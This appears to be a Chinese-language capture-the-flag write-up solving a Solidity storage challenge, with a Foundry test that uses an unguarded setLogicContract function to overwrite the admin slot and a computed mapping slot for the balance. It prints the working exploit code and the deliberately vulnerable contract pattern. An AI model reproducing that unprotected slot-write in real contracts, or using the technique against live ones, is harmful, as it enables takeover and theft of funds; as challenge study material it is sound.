06.challenge
分析
之前做过一次一模一样的
题目要求成为admin和拥有9999999999999999999999999999999999的余额
1 2 3 4 5
| function isComplete() public { require(admin == msg.sender); require(gasDeposits[msg.sender] >= 9999999999999999999999999999999999); emit SendFlag(); }
|
此方法可以修改任意slot的内容,题目的要求都是位于storage的,因此可以通过修改storage数据来完成题目
1 2 3 4 5
| function setLogicContract(bytes32 key, address contractAddress) external { StorageSlot.AddressSlot storage slot = StorageSlot.getAddressSlot(key); emit SetLogicContract(key, slot.value, contractAddress); slot.value = contractAddress; }
|
需要懂得mapping计算和constant不占用slot
1 2 3 4 5 6 7
| //mapping的value实际存储位置计算公式:keccak256(bytes32(key)+bytes32(slot)) function getStorageLocationForKey(address _key) public pure returns(bytes32) { // _key : mapping 的 key // 0 : 我们的balances这个mapping位于slot 0 // 如果部署slot 0,那么换成对应的slot 就ok了 return keccak256(abi.encode(_key, 0)); }
|
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.10;
import "forge-std/Test.sol"; import "../../src/06.challenge/Storage1.sol";
contract attackTest is Test { Storage1 storage1;
function setUp() public{ storage1 = new Storage1(); }
function test_isComplete() public{ // 修改slot1的数据为我们的攻击合约地址,也就是修改admin storage1.setLogicContract(bytes32(uint256(1)), address(this)); assertEq(storage1.admin(),address(this)); // 计算这个合约的余额存放的位置 bytes32 setGasDeposits = keccak256(abi.encode(address(this), 2)); // 修改余额 storage1.setLogicContract(setGasDeposits, address(9999999999999999999999999999999999)); storage1.isComplete(); }
}
|